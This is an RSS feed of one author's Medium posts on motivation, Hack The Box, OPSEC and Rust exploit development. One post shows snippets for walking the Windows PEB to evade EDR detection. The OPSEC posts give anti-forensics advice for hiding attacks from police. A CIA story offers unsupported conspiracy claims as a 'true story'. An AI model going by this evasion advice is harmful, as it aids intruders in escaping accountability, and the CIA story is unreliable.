<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vedant Yaduvanshi on Medium]]></title>
        <description><![CDATA[Stories by Vedant Yaduvanshi on Medium]]></description>
        <link>https://medium.com/@vedantyaduvanshi?source=rss-14d223728bcd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6QEob0Abt8xtcVSUqaMILA.jpeg</url>
            <title>Stories by Vedant Yaduvanshi on Medium</title>
            <link>https://medium.com/@vedantyaduvanshi?source=rss-14d223728bcd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 04:32:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vedantyaduvanshi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How Much of Yourself Do You Really Control?]]></title>
            <link>https://vedantyaduvanshi.medium.com/how-much-of-yourself-do-you-really-control-0892ed5c213f?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/0892ed5c213f</guid>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 21:14:59 GMT</pubDate>
            <atom:updated>2025-11-24T21:22:03.660Z</atom:updated>
            <content:encoded><![CDATA[<p>How much of <em>you</em> is actually yours?</p><p>Everything you know -how you talk, how you react, what you believe, what you fear, what you desire , all of it was shaped by something outside you. From the moment we’re born till the moment you’re reading this line, we’re influenced. Molded. Programmed. Nothing comes from a vacuum. Nothing is truly original.</p><p>As humans, we start as blank pages.<br>We learn by watching, copying, absorbing everything around us.<br>Our thoughts?<br>Influenced.<br>Our emotions?<br>Influenced.<br>Even the way we love, fight, dream, or break… influenced.</p><p>So if nothing is fully ours, then how do we ever make decisions without being controlled by someone else?</p><p>That -right there is the most interesting part.</p><p><strong>We gather ideas from everywhere, carry the voices of hundreds of people in our head, but the <em>conclusion</em> we come to… that’s the only thing that’s truly ours. The world throws noise at us, but the moment you sit alone at night, when the room is silent and there’s no one left to impress or fear, the thoughts that rise in that silence, that’s you. The overthinking, the instinct, the sudden clarity… that’s the only part of your mind untouched.</strong></p><p>Your heart always knows what’s right.<br>It always knows who’s right.<br>Most people just don’t have the courage to listen to it.</p><p>Personally, I hear a lot of voices every day.<br>Family. Friends. Teachers. Strangers.<br>Everyone has advice. Everyone has opinions.<br><em>But at the end of the day, I do what I want.</em><br>What <em>I</em> feel.<br>And yeah ,sometimes it’s not what my friends want. Sometimes my parents think it’s wrong. But honestly? I have one life. Just one. I am going to chase the wildest dreams I can imagine. The kind of moments most people won’t even dare to think about in their lifetime.</p><p>I’ll love like it’s written specifically for me.<br>I’ll work like tomorrow doesn’t exist.<br>I’ll walk into systems where no one else dares to even look.</p><p>I hate the feeling of people trying to control me. I suffocate when someone tries to tame me. I’m not someone who bends. <strong>If I want something, I’ll get it</strong>. If I decide on a path, I’ll walk it even if I’m the only one there.</p><p>Time is ticking either way.<br>Do something — time moves.<br>Do nothing — time still moves.</p><p>So why waste your life living someone else’s script?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*leHje-h5XXf_RpFA8WGawg.jpeg" /></figure><p>Listen to your heart.<br>Eat your fear for breakfast.<br>Do things that make you feel alive, even if they go against the masses, against expectations, against whatever version of you people want to create.</p><p>Tip that waiter , help that kid, donate whatever you can , But always remember to go <strong>AGAINST THE MASSES , </strong>not because they are right or wrong but for the thrill.</p><p>One of the few beliefs I live by is simple:</p><p><strong>If your will is strong enough, even gods bow.</strong></p><p>So don’t let anyone control your story.<br>Write it yourself : brutally, bravely, fearlessly.</p><p><strong>AND ALWAYS HAVE DELUSIONAL SELF BELIEVE !</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*FnzFoi76QF_JV_ZdtS8EEg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0892ed5c213f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OPSEC #3 :What is my Attack Surface ?]]></title>
            <link>https://vedantyaduvanshi.medium.com/opsec-3-what-is-my-attack-surface-795820914750?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/795820914750</guid>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Mon, 13 Oct 2025 22:49:43 GMT</pubDate>
            <atom:updated>2025-10-13T22:49:43.201Z</atom:updated>
            <content:encoded><![CDATA[<h3>OPSEC #3 : What is my Attack Surface ?</h3><p>What Law Enforcement needs to arrest you.</p><pre>TLDR: Your attack surface is a target for the adversary throw darts at. <br>- Privacy is about making the target small,<br>- Anonymity is about hiding the target amongst as many other targets as possible, <br>- Deniability is about making it impossible for the adversary to prove that there is a target.</pre><h3>What Law Enforcement needs to arrest you.</h3><p>Imagine a scenario where you teach your friend how to use Monero, and we are in a future where this action is deemed illegal. What does law enforcement need to arrest you for this?</p><p>First, they must be aware that the action occurred, and then they need to identify the individual responsible in order to make an arrest.</p><p>To obtain this information, law enforcement monitors all activities, ensuring they can detect any undesirable actions. However, merely observing events is insufficient. They also mandate identification through methods like <a href="https://en.wikipedia.org/wiki/Know_your_customer">KYC (Know Your Customer)</a> to connect individuals’ identities with their monitored actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*PutisJdQhWfpwfPNSQnsww.png" /></figure><h3>What does Attack Surface mean?</h3><p>Imagine a dart game. You are the target, and law enforcement is throwing darts at you. If you have a big attack surface, it will be easy for law enforcement to hit you. To prevent that, you want to make it as hard as possible for law enforcement to hit you. So, the attack surface is a way of measuring how easy it is for law enforcement or any adversary to get you.</p><p>Now, there are different ways of making it harder for any adversary, like law enforcement, to hit you while still being able to tell your friends how to use Monero.</p><h3>Privacy</h3><p>We use privacy to make our target as small as possible by hiding our actions from law enforcement, making it harder to surveil and see everything going on.</p><p>This means that instead of Twitter, Facebook, or any other public place where everyone, including your adversary (for example, law enforcement), can see what’s happening, you would go to something like SimpleX, where you are safe from anyone surveilling you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*Px0MtO9b4jDlbrjp5CDXzA.png" /></figure><h3>Anonymity</h3><p>We use anonymity to hide our target in between other targets, making it harder for law enforcement to know who is who.</p><p>This means that instead of Telegram, Signal, or any other place that requires you to give up personal information, helping your adversary (for example, law enforcement) to identify you, you would use SimpleX with Incognito profiles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*psTgTaHmNDYChhDON4H9EQ.png" /></figure><h3>Deniability</h3><p>We use deniability to deny the existence of the target altogether. Law enforcement can’t hit a target that doesn’t exist.</p><p>This means that instead of using normal SimpleX chats, you use Incognito profiles and enable disappearing messages so you can deny they ever existed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*UWkAq83KS5fg6hbG4laoTQ.png" /></figure><h3>Clearnet vs Darknet</h3><p>When trying to make it harder for law enforcement to hit you, things like deciding between the clearnet and the darknet are important. Law enforcement loves the clearnet because it can surveil and identify everyone in it. On the other hand, it’s harder to see what’s going on in the darknet, so the target gets smaller. All the darknet users also pretty much look the same; therefore, hiding the target among other targets makes it hard for law enforcement to identify someone. Smart people who read the OPSEC Bible, like you, also know how to use the darknet to deny the existence of the target. All of this makes law enforcement hate the darknet and its superiority over the clearnet, where they can clearly see what is being done and by whom.</p><p>For example, if you want to host a website on the clearnet, you have to pay for a domain and for server hosting. An adversary like law enforcement could still decide to take it down in various ways. Law enforcement could tell your server provider to shut it down, go and shut it down themselves, or directly take the domain away from you.</p><p>When hosting a website on the darknet, you don’t have to pay for hosting or a domain, and law enforcement cannot take it down since they don’t know where the server is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*PNKGpHLni60YmgYUO4-csw.png" /></figure><h3>How attack surface applies to software</h3><p>Imagine a PC with no software installed. The attack surface would be minimal since there is essentially nothing to exploit. Now, consider installing an application that contains 100 lines of code. The attack surface increases because there could be a vulnerability in the code; however, since it is only 100 lines, you could review it to ensure everything is functioning correctly.</p><p>After installing the first application, if you then install another one with 1,000 lines of code, followed by one with 10,000 lines, your attack surface expands significantly. This is due to the numerous potential vulnerabilities in the code, and it becomes impractical to thoroughly review extensive lines of code to understand everything. This illustrates why bloated software is detrimental.</p><p>This example demonstrates how the quantity of software, particularly bloated software, impacts the attack surface. However, most individuals do not stop there. Many people use software that is not free (as in freedom). What implications does this have for their attack surface? Utilizing non-free software is one of the most detrimental actions a person can take regarding their attack surface. This is because, as you use such software, your attack surface could already be compromised, potentially expanding to a point where it is highly vulnerable, or it may remain unchanged. Since you cannot inspect or modify the code, you must assume that it is malware, and no one would willingly install malware on their PC.</p><p>Given this understanding, it is advisable to use only non-bloated, free (as in freedom) software. Therefore, if you are still using malware like Windows, macOS, Android, iOS, or others, you should consult our guides on how to install GNU/Linux for your computer and GrapheneOS for your phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*1qBL4XrTrFpQPAQRhIUgfQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=795820914750" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OPSEC #2 Privacy, Anonymity, Plausible Deniability, Decentralisation, Security, and 0days]]></title>
            <link>https://vedantyaduvanshi.medium.com/opsec-2-privacy-anonymity-plausible-deniability-decentralisation-security-and-0days-f71fa25b7a34?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/f71fa25b7a34</guid>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Mon, 13 Oct 2025 20:35:40 GMT</pubDate>
            <atom:updated>2025-10-13T20:35:40.297Z</atom:updated>
            <content:encoded><![CDATA[<h3>OPSEC #2 : Privacy, Anonymity, Plausible Deniability, Decentralisation, Security, and 0days</h3><p>to have anonymity you need privacy, to have deniability you need both privacy and anonymity, and you can’t do anything to protect against 0days.</p><h3>Privacy Analogy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*lLPN5A5LIim4ybCiJW04fQ.png" /><figcaption>Here in this case, we can say that the conversation between Bob and Alice is private, because it excludes Jack from spying on the conversation.</figcaption></figure><h3>Anonymity Analogy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*4cIEnpK_SDBvr4aUqmE-sA.png" /><figcaption>Here in this case, we can say that the person talking to Alice is Anonymous from Jack’s perspective, until he can figure out who he really is. Until that someone makes an OPSEC Mistake (such as saying out loud his real name, or where he lives), he remains Anonymous.</figcaption></figure><h3>Plausible Deniability Analogy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*XoF5He4KTYjJ-luGYSA5YQ.png" /></figure><h3>Centralisation, Federation and Decentralisation Analogy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*cIF2ao2hadNBv5wcviKEEg.png" /><figcaption>Here, a profit Company offers an online service (such as Twitter) for their own profit, most often they will do everything they can to keep as many users on their service, in order to gather as much personal information about them as they can, for their own profit.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*iVGoUArxIHxJ09J0mEd4uQ.png" /><figcaption>A federated service can be considered as semi-decentralised, due to having a company running the main instance that contains a huge amount of users, while other instances can be ran by individuals with a smaller amount of users. The federation means that instances connect to each other so that individual B may talk to individual A, or individual C.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*ZHtdLE0yYw7GhUmZt7lDvA.png" /><figcaption>We can say that a service is decentralised when individuals are running the services themselves, and offering them back to the individuals, without any profit company coming into the picture.</figcaption></figure><h3>Security Analogy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*S7kmL5okBNZPyMdSuoAx3A.png" /><figcaption>Here in this case, we can say that the door is secure because it protects Alice and Bob’s conversation from Jack’s attempts to hear the contents of the conversation.</figcaption></figure><h3>0days Analogy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*wJCnVtOps-503HIxaIwQlg.png" /><figcaption>Bob and Alice are supposed to have their conversation protected by a closed door, but Jack has an 100% sure way of breaking down the door, no matter how they try to reinforce the door, There is nothing Bob and Alice can do about it.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f71fa25b7a34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How the CIA Operates in India]]></title>
            <link>https://vedantyaduvanshi.medium.com/how-the-cia-operates-in-india-cc6db050ba4f?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc6db050ba4f</guid>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Sun, 28 Sep 2025 15:48:35 GMT</pubDate>
            <atom:updated>2025-09-28T18:07:05.591Z</atom:updated>
            <content:encoded><![CDATA[<p>Brutal True Story will give you chills .</p><p>You’ve probably never heard a story like this -things happening right around us that we’re completely unaware of. This article explores alleged secret operations in India during the turbulent years of the 1980s and 1990s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*BAIB0z39ytVzuy58tQouoQ.jpeg" /></figure><h3>The Backdrop: Kashmir in the 1980s</h3><p>Around 1980, Kashmir was shrouded in mystery. Due to strict government restrictions, very few people knew what was happening in the region. Yet intelligence agencies from around the world were eager to gain information, but consistently found themselves shut out.</p><p>At the same time, the terrorist group <strong>Harkat-ul-Ansar</strong>, led by <strong>Masood Azhar</strong>, was spreading jihadist propaganda in Afghanistan. Because of their extensive network across India and the subcontinent, Masood Azhar and his organization were well connected to regional players.</p><p>The CIA (Central Intelligence Agency , US )was reportedly searching for someone with influence in Kashmir. Pakistan’s intelligence agency, the ISI, suggested Masood Azhar -who had already worked closely with them. Everyone agreed he was a valuable asset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*ELCMnoF9KCotPbqBflr9BQ.jpeg" /></figure><h3>Intelligence Rivalries</h3><p>Kashmir was a highly sensitive area. India’s <strong>Intelligence Bureau (IB)</strong> also wanted a strong presence there and began sending personnel for inspections. After weeks of investigation, the IB advised the Indian government to restrict citizens from countries like the U.S., Germany, and France from visiting Kashmir -even as tourists. The government agreed.</p><p>Despite this, U.S. Embassy officials in India attempted to visit Kashmir several times but were turned back at state borders.</p><p>In response, the U.S., Pakistan, and Britain reportedly held a meeting in Islamabad. The outcome: Masood Azhar should be sent to Kashmir — not only because of his past work with intelligence agencies but also because of his vast local network.</p><p>British intelligence allegedly provided Masood Azhar with a fake Portuguese passport. He first traveled to Dubai, then flew to Bangladesh, and finally took a flight to Delhi, India.</p><h3>Enter Masood Azhar</h3><p>At Delhi airport, Indian immigration authorities received intelligence that someone carrying a fake Portuguese passport would attempt to enter India. They informed the IB, but Azhar was not stopped. Everything went smoothly; from the airport, he went to the Ashoka Hotel and stayed there for a few days -unaware that he was under surveillance by both the IB and Indian Military Intelligence.</p><p>After a few days, he booked a car to travel to Srinagar. After meeting contacts there, he visited Shopian and then Anantnag. While traveling by auto-rickshaw between local areas in Anantnag, he was stopped by a military patrol and captured with the fake passport.</p><p>A brief interrogation revealed that this was no ordinary suspect — it was <strong>Masood Azhar</strong> himself. Members from RAW, IB, and Military Intelligence began questioning him at Kot Bhalwal Jail in Jammu &amp; Kashmir.</p><p>Weeks passed, but Azhar repeatedly said only one thing: <em>“I will get released, and it will be you who sets me free.”</em></p><p>The arrogance. The certainty. The question was: <em>how?</em></p><h3>The Master Plan</h3><p>Masood Azhar had allegedly been sent deliberately by the CIA and ISI. According to the plan explained to him, <em>“You will be arrested. Don’t worry. We will get you out safe and sound.”</em></p><p>Following the timeline: terrorism in Kashmir decreased from 1990 to 1995. Despite Harkat-ul-Ansar attacking several places and demanding Azhar’s release, nothing worked.</p><p>By 1995, the Indian government promoted tourism in Jammu &amp; Kashmir, hoping to defuse tensions further. The CIA reportedly watched every move closely.</p><p>With more freedom for militant groups, the CIA allegedly asked Harkat-ul-Ansar to form a new organization in Kashmir named <strong>“Al-Faran.”</strong></p><p>The plan given to Al-Faran was chilling: specifically abduct and kill Western tourists coming to Kashmir. The objective was to pressure the Indian government into releasing Masood Azhar. These brutal tactics gave the U.S. and U.K. more leverage to push India on the issue.</p><p>Imagine a country asking to kill its own citizen . Chilling , right ?</p><h3>A Darker Twist</h3><p>But there was more. The Western tourists being kidnapped and killed were reportedly not ordinary foreign citizens -many were low-profile operatives from the CIA and British intelligence. These officers, underperforming and who had failed expectations. Agencies wanted to get rid of them . Expendable pawns, were sent as “tourists” to provide intel from the valley. .They did so to an extent before being kidnapped and killed.</p><p>This illustrates how ruthlessly intelligence agencies can operate: sacrificing their own for strategic goals. In this shadow world, there are no permanent friends or enemies.</p><p>The CIA got what it wanted: Masood Azhar wasn’t released, but they extracted valuable intelligence they had sought for years.</p><h3>The Present Day</h3><p>CIA still actively operates in India — though the scale and nature of such operations remain unknown.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc6db050ba4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[100 Hack The Box Machines Later… Here’s What I Learned]]></title>
            <link>https://vedantyaduvanshi.medium.com/100-hack-the-box-machines-later-heres-what-i-learned-b82edadcce6e?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/b82edadcce6e</guid>
            <category><![CDATA[htb-write-up]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[learning-cybersecurity]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Fri, 08 Aug 2025 10:35:13 GMT</pubDate>
            <atom:updated>2025-08-12T23:39:58.023Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARqfRh7hLl8Iz3bj3_Uvqw.png" /></figure><p>(And Why It Was Totally Worth It)</p><h4>Intro. What is Hack The Box?</h4><p>Hack The Box (HTB) is an online cybersecurity training platform where you hack virtual machines to sharpen your skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Dfe_CyFHDt-jldD71xdFUA.png" /></figure><p><strong>My HTB Journey</strong></p><p>I started doing Hack The Box sincerely just two months ago. Honestly? After just a few machines, I was hooked.</p><p>The thrill of grabbing that <strong>user flag</strong>, then finding a way to escalate privileges to get <strong>root/system access</strong> ,it’s addictive. It became part of my daily routine to solve at least <strong>2-4 machines a day</strong>.</p><p>All this while, I was also preparing for <strong>OSCP+</strong> and other important certifications. The best part? <strong>Solving HTB machines directly helps with these exams</strong>. It’s not something “extra” I had to do-it’s real, hands-on practice that matches the type of challenges you’ll face in cert exams.</p><p><strong>Why HTB is Amazing for Learning</strong></p><p>If you’re starting in cybersecurity, HTB can transform you from knowing almost nothing to understanding a lot.</p><p>Every machine teaches you something new:</p><ul><li>How different protocols work</li><li>How vulnerabilities are exploited</li><li>How to modify and adapt public exploits to your needs</li><li>How to think like an attacker</li></ul><p>One tip: <strong>Take notes!</strong><br>I first used <strong>CherryTree</strong> for note-taking, but now I’m slowly moving everything to <strong>Obsidian</strong>. It’s a game-changer for keeping all my exploits, payloads, and tips organized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/169/1*fG8KF6HKF-DMW44Kg0KthA.png" /><figcaption>Cherry Tree Rough</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OpbjAgpYj-rHBABcItPpcQ.png" /><figcaption>Obsidian Second Brain In Progress</figcaption></figure><p><strong>Active Community Vibes</strong></p><p>Another thing I love? The <strong>HTB community</strong>. People are super active on Discord and social media. You’ll find tips, and friends to share the hacking journey with.</p><p><strong>Does it Help in Getting a Job?</strong></p><p>100% <strong>YES</strong>.</p><p>HTB is well-known in the security world. If you’ve solved over <strong>100–200 machines</strong>, your chances of landing a security job are much higher than someone who hasn’t. Recruiters notice it.</p><p>And if you’re ranked high on the <strong>HTB country or global leaderboard</strong>, your profile stands out even more. For example, I’m currently in <strong>India’s Top 20</strong> and <strong>Top 100 globally</strong> and trust me, recruiters notice that. It’s proof that you have real, tested skills, not just theory.</p><p>For me, HTB has become a daily habit that I genuinely enjoy and it’s also a solid addition to my resume.</p><p><strong>My Thoughts on VIP &amp; VIP++</strong></p><p>Honestly, the VIP and VIP++ subscriptions are <strong>a steal deal</strong>. The amount you learn from the extra machines, retired boxes, and exclusive challenges is worth every penny.</p><h4>What’s Next?</h4><p>Now that I’ve hit the <strong>100-machine milestone</strong>, I’m aiming for <strong>200 machines</strong>. I also plan to write more HTB machine writeups (now that my exams are done ,yes, I passed this summer, yay!).</p><p>If you’re thinking about starting Hack The Box… <strong>just do it</strong>. It might just become your favorite daily habit, too.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b82edadcce6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploit Development 01 : Getting DLL Base Address in Rust without Using Windows API]]></title>
            <link>https://vedantyaduvanshi.medium.com/exploit-development-01-getting-dll-base-address-in-rust-without-using-windows-api-ba44e7b88fd5?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba44e7b88fd5</guid>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Thu, 15 May 2025 21:31:41 GMT</pubDate>
            <atom:updated>2025-05-15T21:59:51.764Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploit Development 01 : Getting DLL Base Address in Rust without Using Windows API</h3><p>Tried RUST for the first time .</p><p>Alright, so here’s the deal — this isn’t some expert-level exploit development guide .I’m not a pro in exploit dev or low-level stuff (yet) .I’m just starting out and trying to understand how all of this works under the hood .This is me documenting my learning journey</p><p>As raw and real as it gets ,Mistakes will happen, things will break, and hopefully I’ll learn and get better with every step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*_wChiE2Eb2R3kh0qBXC2vQ.gif" /><figcaption>Real</figcaption></figure><h4><strong>What Are We Even Trying to Do?</strong></h4><p>So, the goal here is simple :<br>We want to <strong>get the base address of a loaded DLL like </strong><strong>KERNEL32.DLL without using any Windows API functions like </strong><em>GetModuleHandle</em></p><h4><strong>Why though?</strong></h4><p>Well, when you’re writing shellcode, doing red teaming, or just trying to sneak under the radar (EDRs, AVs, etc.), <strong>Windows API calls are noisy</strong>. They can be detected, hooked, or outright blocked. So instead of asking Windows nicely, we do what the pros (and malware) do-<strong>walk the memory structures directly</strong>.</p><p>That’s where the <strong>PEB (Process Environment Block)</strong> comes in.</p><p>How It Works (In Simple Terms):</p><p><strong>Grab the PEB</strong><br>This is a special structure every Windows process gets<br>It lives at GS:[0x60] on x64 systems and holds all the juicy info about loaded modules</p><p><strong>Access the LDR data</strong><br>The PEB points to a thing called PEB_LDR_DATA<br>This acts like a manager for all DLLs the process has loaded<br>Think of it like a hidden linked list of all your LoadLibrary calls</p><p><strong>Loop through loaded modules</strong><br>We walk the doubly linked list that stores info about each DLL<br>Things like its name, where it was loaded in memory, etc</p><p><strong>Compare the names</strong><br>For each DLL we find, we convert its name from UTF16 to a regular Rust string<br>Then we compare it (case-insensitive) with our target name likeKERNEL32.DLL</p><p><strong>If it matches, boom</strong><br>We return the base address (where the DLL was loaded in memory)<br>No APIs used<br>No imports touched<br>Pure memory traversal</p><p>The whole Code is on my Github if you really wanna check out , here is just few break down of what we tryna acheive :</p><p>📦 The Rusty Breakdown</p><p><strong>Getting the PEB</strong></p><pre>asm!(&quot;mov {}, gs:[0x60]&quot;, out(reg) peb);</pre><p>We use inline assembly to read from the GS segment<br>This gives us the pointer to the PE</p><p><strong>Walking the Module List</strong></p><p>We grab the pointer to the module list</p><pre>let mut current = ldr.InMemoryOrderModuleList.Flink;</pre><p>Then we loop over each module . Inside the loop, we cast the pointer to a LDR_DATA_TABLE_ENTRY, which has all the info we need</p><pre>let current_module : &amp;LDR_DATA_TABLE_ENTRY = unsafe { &amp;*(current as *const LDR_DATA_TABLE_ENTRY) };</pre><p>We decode the DLL name from UTF16</p><pre>let current_module_name = current_module.BaseDllName.extract_string();</pre><p>And compare it with what we’re looking for</p><pre>if current_module_name.to_lowercase() == target_module_name.to_lowercase() {<br>    return Some(current_module.DllBase);<br>}</pre><p>If it matches, we return the DllBase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*OIfuRsYiEvamtvlXTerO_Q.png" /></figure><p>This might feel like overkill right now, but it’s gold for these situations</p><p><strong>Writing shellcode</strong><br>You need to resolve functions like LoadLibrary or GetProcAddress on the fly, and you can’t import anything</p><p><strong>Malware analysis</strong><br>This is how a lot of stealthy malware avoids API detection</p><p>Writing this in <strong>Rust</strong> adds some safety compared to C or C++, which is usually where this kind of stuff is written and often gets messy</p><p>Short Summarry ?? &gt;&gt; PEB → Ldr → Module List → DLL</p><p>See ya Later !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba44e7b88fd5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You Need OPSEC to Stay Safe in 2025]]></title>
            <link>https://vedantyaduvanshi.medium.com/you-need-opsec-to-stay-safe-in-2025-f65f196ecd4e?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/f65f196ecd4e</guid>
            <category><![CDATA[safe]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[online]]></category>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Mon, 10 Mar 2025 19:19:42 GMT</pubDate>
            <atom:updated>2025-03-10T19:33:12.178Z</atom:updated>
            <content:encoded><![CDATA[<p>A Beginner’s Guide to Staying Safe Online</p><blockquote><strong>Disclaimer</strong></blockquote><blockquote>The information provided in this document is intended solely for educational and informational purposes. It is designed to promote awareness about digital privacy, security practices, and operational security (OpSec) strategies for lawful and ethical use.</blockquote><blockquote>This document does <strong>not</strong> encourage, condone, or support any illegal activities, including but not limited to unauthorized hacking, data breaches, or any actions that violate local, national, or international laws. The techniques and strategies discussed are meant for defensive and preventive measures to protect personal data, ensure privacy, and enhance cybersecurity.</blockquote><blockquote>Readers are solely responsible for ensuring that their actions comply with all applicable laws and regulations. The author and publisher disclaim any liability for misuse of the information contained herein.</blockquote><blockquote>If you are uncertain about the legality of any action, consult with a qualified legal professional.</blockquote><p><strong>Operations Security (OPSEC)</strong> is a strategic approach to protecting your personal and sensitive information from falling into the wrong hands. In 2025, with cyber threats evolving rapidly, OPSEC is more important than ever.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*syZrcPx83fq6Md0yUo5ZpA.jpeg" /></figure><p>This could be rough , but stick with me .</p><p>Never have a username:<br>- Username can by tied up to identity<br>- With no hacking username, there is no way for the non existent hacking username to be linked with real life identity<br>- If we have to use a username, always use random and never used username<br>- If forced to have a username to be known by changing it every week.</p><p>Email<br>- With unique email addresses only used for 1 purpose, it will be hard to link these emails together.<br>- Make sure the emails don’t look like any of the other emails.<br>- With every email use a different unique super long extended ascii password. After its use, throw it away and close it to remove any data.<br>- For the email address username make sure to use a password manager password generator to generate the username for it..<br>Note: <a href="https://www.pgp.guide/">https://www.pgp.guide/</a></p><p>REMOVE ALL METADATA FROM EVERY FILE ( Metadata can easily set you up for attacks ).</p><p>NEVER TALK TO ANYONE:<br>- Always conceal your intentions. You only share intentions with some people if you fully close up to some people they will become suspicious so fill it in with fake intentions to remove it.<br>- Online have a fake,<br># First name<br># Last name<br># Family<br># History<br># Intentions<br># Personality<br># Habits/intentions/passion ( multiple can simply be put as in a different side of computer science just in case they ask for it. Like for example: cryptography when you like malware )<br>- Note: Never make enemies that you do not need to be tracking you and if you have the chance take them down completely and make sure that they cannot touch you.<br>- Always have a side project to work on once a week to tell people what you are doing.<br>- If you do bad things online, make your real life ID be strictly against that thing.<br>- Never share your phone number, just tell them you do not have one.<br>- Have a junk email under your government name to make sure that you aren’t too suspicious, give that to most things if needed. ( Never use it )<br>- Assume everyone is an enemy.<br>- Do not spend money to buy luxury items that would normally be beyond your means.</p><p>Note: Opsec is not fun, not irrational or irrelevant. It is needed.</p><p>Computer<br>- Make sure that the device you are using does not have your IP address anywhere or any trace of you on it.<br>- Make sure you are using a private secured Linux distribution ( Whonix, Tails, Qubes, Debian if hardened, fedora if hardened or an atomic desktop distribution (NEVER USE FEDORA) )<br>- Make sure that everything is done within an encrypted virtual machine under one of those Linux distributions. I suggest Qubes OS or Tails.<br>- Have disposable virtual machines. Do your attack then delete every trace afterwards.<br>- Use a virtual keyboard to trick keyloggers.<br>- Every once in a while wipe your entire operating system and start cleaning again. ( If you are not using Qubes OS )<br>- Always use full disk encryption and always use very long passwords. Use pass-sentences that you can remember. Make sure to have it super long, at least 550 bit entropy( 16 characters should be enough ). Then layer it and have most directories encrypted as well with veracrypt.<br>- Tor is not optional, it is necessary. Highest settings at all costs.<br>- Use bulletproof hosting.<br>- Guard your hardware — never leave it in your room; never take more devices on a trip than you actually need; mask your webcam and microphones; use screen privacy filters<br>- Properly manage images and social networks — remove image metadata, or, even better, donot post any images; do not use victim’s infrastructure to post to your personal social network 